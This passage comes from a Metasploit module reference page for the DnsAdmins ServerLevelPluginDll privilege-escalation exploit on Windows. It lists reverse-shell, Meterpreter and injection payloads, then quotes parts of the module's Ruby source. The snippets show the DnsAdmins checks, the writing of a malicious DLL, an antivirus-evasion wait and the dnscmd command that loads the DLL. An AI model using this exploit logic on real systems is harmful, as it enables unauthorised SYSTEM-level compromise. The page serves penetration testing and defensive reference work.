   50   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   51   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   52   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   53   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   55   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   56   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   57   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   58   payload/windows/meterpreter_bind_named_pipe                                  normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline
   59   payload/windows/meterpreter_bind_tcp                                         normal  No     Windows Meterpreter Shell, Bind TCP Inline
   60   payload/windows/meterpreter_reverse_http                                     normal  No     Windows Meterpreter Shell, Reverse HTTP Inline
   61   payload/windows/meterpreter_reverse_https                                    normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline
   62   payload/windows/meterpreter_reverse_ipv6_tcp                                 normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
   63   payload/windows/meterpreter_reverse_tcp                                      normal  No     Windows Meterpreter Shell, Reverse TCP Inline
   64   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   65   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   66   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   67   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   68   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   69   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   70   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   71   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   72   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   73   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   74   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   75   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   76   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   77   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   78   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   79   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   80   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   81   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   82   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   83   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   84   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   85   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   86   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   87   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   88   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   89   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   90   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   91   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   92   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   93   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   94   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   95   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   96   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   97   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   98   payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   99   payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   100  payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   101  payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   102  payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   103  payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   104  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   105  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   106  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   107  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   108  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   109  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   110  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   111  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   112  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   113  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   114  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   115  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   116  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   117  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   118  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   119  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   120  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   121  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   122  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   123  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   124  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   125  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   126  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   127  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   128  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   129  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   130  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   131  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   132  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   133  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   134  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   135  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   136  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   137  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   138  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   139  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   140  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   141  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   142  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   143  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   144  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   145  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   146  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   147  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   148  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   149  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   150  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   151  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   152  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   153  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   154  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   155  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   156  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   157  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   158  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   159  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   160  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   161  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   162  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   163  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   164  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   165  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   166  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   167  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   168  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   169  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   170  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   171  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   172  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   173  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   174  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   175  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   176  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   177  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   178  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   179  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   180  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   181  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   182  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   183  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   184  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   185  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   186  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   187  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/local/dnsadmin_serverlevelplugindll exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

OS is not vulnerable!


Here is a relevant code snippet related to the "OS is not vulnerable!" error message:

86:	
87:	  def check
88:	    if sysinfo['OS'] =~ /Windows 20(03|08|12|16\+|16)/
89:	      vprint_good('OS seems vulnerable.')
90:	    else
91:	      vprint_error('OS is not vulnerable!')
92:	      return Exploit::CheckCode::Safe
93:	    end
94:	
95:	    username = client.sys.config.getuid
96:	    user_sid = client.sys.config.getsid

Unable to enumerate the DNS service!


Here is a relevant code snippet related to the "Unable to enumerate the DNS service!" error message:

97:	    hostname = sysinfo['Computer']
98:	    vprint_status("Running check against #{hostname} as user #{username}...")
99:	
100:	    srv_info = service_info('DNS')
101:	    if srv_info.nil?
102:	      vprint_error('Unable to enumerate the DNS service!')
103:	      return Exploit::CheckCode::Unknown
104:	    end
105:	
106:	    if srv_info && srv_info[:display].empty?
107:	      vprint_error('The DNS service does not exist on this host!')

The DNS service does not exist on this host!


Here is a relevant code snippet related to the "The DNS service does not exist on this host!" error message:

102:	      vprint_error('Unable to enumerate the DNS service!')
103:	      return Exploit::CheckCode::Unknown
104:	    end
105:	
106:	    if srv_info && srv_info[:display].empty?
107:	      vprint_error('The DNS service does not exist on this host!')
108:	      return Exploit::CheckCode::Safe
109:	    end
110:	
111:	    # for use during permission check
112:	    if srv_info[:dacl].nil?

Unable to determine permissions on the DNS service!


Here is a relevant code snippet related to the "Unable to determine permissions on the DNS service!" error message:

108:	      return Exploit::CheckCode::Safe
109:	    end
110:	
111:	    # for use during permission check
112:	    if srv_info[:dacl].nil?
113:	      vprint_error('Unable to determine permissions on the DNS service!')
114:	      return Exploit::CheckCode::Unknown
115:	    end
116:	    dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/)
117:	
118:	    vprint_good("DNS service found on #{hostname}.")

Unable to enumerate group membership!


Here is a relevant code snippet related to the "Unable to enumerate group membership!" error message:

118:	    vprint_good("DNS service found on #{hostname}.")
119:	
120:	    # user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll
121:	    group_membership = get_whoami
122:	    unless group_membership
123:	      vprint_error('Unable to enumerate group membership!')
124:	      return Exploit::CheckCode::Unknown
125:	    end
126:	
127:	    unless group_membership.include? 'DnsAdmins'
128:	      vprint_error("User #{username} is not part of the DnsAdmins group!")

User <USERNAME> is not part of the DnsAdmins group!


Here is a relevant code snippet related to the "User <USERNAME> is not part of the DnsAdmins group!" error message:

123:	      vprint_error('Unable to enumerate group membership!')
124:	      return Exploit::CheckCode::Unknown
125:	    end
126:	
127:	    unless group_membership.include? 'DnsAdmins'
128:	      vprint_error("User #{username} is not part of the DnsAdmins group!")
129:	      return Exploit::CheckCode::Safe
130:	    end
131:	
132:	    # find the DnsAdmins group SID
133:	    dnsadmin_sid = ''

User <USERNAME> does not have permissions to start/stop the DNS service!


Here is a relevant code snippet related to the "User <USERNAME> does not have permissions to start/stop the DNS service!" error message:

159:	      user_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? user_sid }[0]
160:	      if user_dacl.include? 'RPWP'
161:	        vprint_good("User #{username} can start/stop the DNS service.")
162:	      end
163:	    else
164:	      vprint_error("User #{username} does not have permissions to start/stop the DNS service!")
165:	      return Exploit::CheckCode::Safe
166:	    end
167:	
168:	    Exploit::CheckCode::Vulnerable
169:	  end

Wrong payload architecture!


Here is a relevant code snippet related to the "Wrong payload architecture!" error message:

170:	
171:	  def exploit
172:	    # get system architecture
173:	    arch = sysinfo['Architecture']
174:	    if arch != payload_instance.arch.first
175:	      fail_with(Failure::BadConfig, 'Wrong payload architecture!')
176:	    end
177:	
178:	    # no exploit, just create the DLL
179:	    if datastore['MAKEDLL'] == true
180:	      # copypasta from lib/msf/core/exploit/fileformat.rb

Session is already elevated!


Here is a relevant code snippet related to the "Session is already elevated!" error message:

185:	      return
186:	    end
187:	
188:	    # will exploit
189:	    if is_system?
190:	      fail_with(Failure::BadConfig, 'Session is already elevated!')
191:	    end
192:	
193:	    unless [CheckCode::Vulnerable].include? check
194:	      fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
195:	    end

Target is most likely not vulnerable!


Here is a relevant code snippet related to the "Target is most likely not vulnerable!" error message:

189:	    if is_system?
190:	      fail_with(Failure::BadConfig, 'Session is already elevated!')
191:	    end
192:	
193:	    unless [CheckCode::Vulnerable].include? check
194:	      fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
195:	    end
196:	
197:	    # if the DNS service is not started, it will throw RPC_S_SERVER_UNAVAILABLE when trying to set ServerLevelPluginDll
198:	    print_status('Checking service state...')
199:	    svc_state = service_status('DNS')

Was unable to start the DNS service after 3 minutes of trying...


Here is a relevant code snippet related to the "Was unable to start the DNS service after 3 minutes of trying..." error message:

210:	        sleep 1
211:	        break
212:	      else
213:	        sleep 2
214:	        total_wait_time += 2
215:	        fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
216:	      end
217:	    end
218:	
219:	    # the if block assumes several things:
220:	    # 1. operator has set up their own SMB share (SMB2 is default for most targets), as MSF does not support SMB2 yet

Couldn't retrieve the target's build number!


Here is a relevant code snippet related to the "Couldn't retrieve the target's build number!" error message:

226:	
227:	      # Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
228:	      build_num_raw = session.shell_command_token('cmd.exe /c ver')
229:	      build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
230:	      if build_num.nil?
231:	        print_error("Couldn't retrieve the target's build number!")
232:	        return
233:	      else
234:	        build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
235:	        vprint_status("Target's build number: #{build_num}")
236:	      end

'Enable insecure guest logons' is not set to Enabled on the target system!


Here is a relevant code snippet related to the "'Enable insecure guest logons' is not set to Enabled on the target system!" error message:

243:	      # https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser
244:	      if (build_num_gemversion >= Rex::Version.new('10.0.16299.0'))
245:	        # check if "Enable insecure guest logons" is enabled on the target system
246:	        allow_insecure_guest_auth = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters', 'AllowInsecureGuestAuth')
247:	        unless allow_insecure_guest_auth == 1
248:	          fail_with(Failure::BadConfig, "'Enable insecure guest logons' is not set to Enabled on the target system!")
249:	        end
250:	      end
251:	      print_status('Using user-provided UNC path.')
252:	    else
253:	      write_file(dllpath, make_serverlevelplugindll(arch))

Woops looks like the DLL got picked up by AV or somehow got deleted...


Here is a relevant code snippet related to the "Woops looks like the DLL got picked up by AV or somehow got deleted..." error message:

253:	      write_file(dllpath, make_serverlevelplugindll(arch))
254:	      print_good("Wrote DLL to #{dllpath}!")
255:	      print_status("Sleeping for #{datastore['AVTIMEOUT']} seconds to ensure the file wasn't caught by any AV...")
256:	      sleep(datastore['AVTIMEOUT'])
257:	      unless file_exist?(dllpath.to_s)
258:	        print_error('Woops looks like the DLL got picked up by AV or somehow got deleted...')
259:	        return
260:	      end
261:	      print_good("Looks like our file wasn't caught by the AV.")
262:	    end
263:	

Entering danger section...


Here is a relevant code snippet related to the "Entering danger section..." error message:

259:	        return
260:	      end
261:	      print_good("Looks like our file wasn't caught by the AV.")
262:	    end
263:	
264:	    print_warning('Entering danger section...')
265:	
266:	    print_status("Modifying ServerLevelPluginDll to point to #{dllpath}...")
267:	    dnscmd_result = cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll #{dllpath}").to_s.strip
268:	    unless dnscmd_result.include? 'success'
269:	      fail_with(Failure::UnexpectedReply, dnscmd_result.split("\n")[0])

Was unable to stop the DNS service after 3 minutes of trying...


Here is a relevant code snippet related to the "Was unable to stop the DNS service after 3 minutes of trying..." error message:

309:	        sleep 1
310:	        break
311:	      else
312:	        sleep 2
313:	        total_wait_time += 2
314:	        fail_with(Failure::TimeoutExpired, 'Was unable to stop the DNS service after 3 minutes of trying...') if total_wait_time >= 90
315:	      end
316:	    end
317:	
318:	    # clean up the dropped DLL
319:	    if session && dllpath && !datastore['DLLPATH'].start_with?('\\\\')

Was unable to start the DNS service after 3 minutes of trying...


Here is a relevant code snippet related to the "Was unable to start the DNS service after 3 minutes of trying..." error message:

330:	        sleep 1
331:	        break
332:	      else
333:	        sleep 2
334:	        total_wait_time += 2
335:	        fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
336:	      end
337:	    end
338:	  end
339:	
340:	  def make_serverlevelplugindll(arch)

Target arch is not compatible


Here is a relevant code snippet related to the "Target arch is not compatible" error message:

397:	    when 'x86'
398:	      cpu = Metasm::Ia32.new
399:	    when 'x64'
400:	      cpu = Metasm::X86_64.new
401:	    else
402:	      fail_with(Failure::NoTarget, 'Target arch is not compatible')
403:	    end
404:	
405:	    print_status('Building DLL...')
406:	    Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu)
407:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Shay Ber
  • Imran E. Dawoodjee <imran[at]threathounds.com>

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.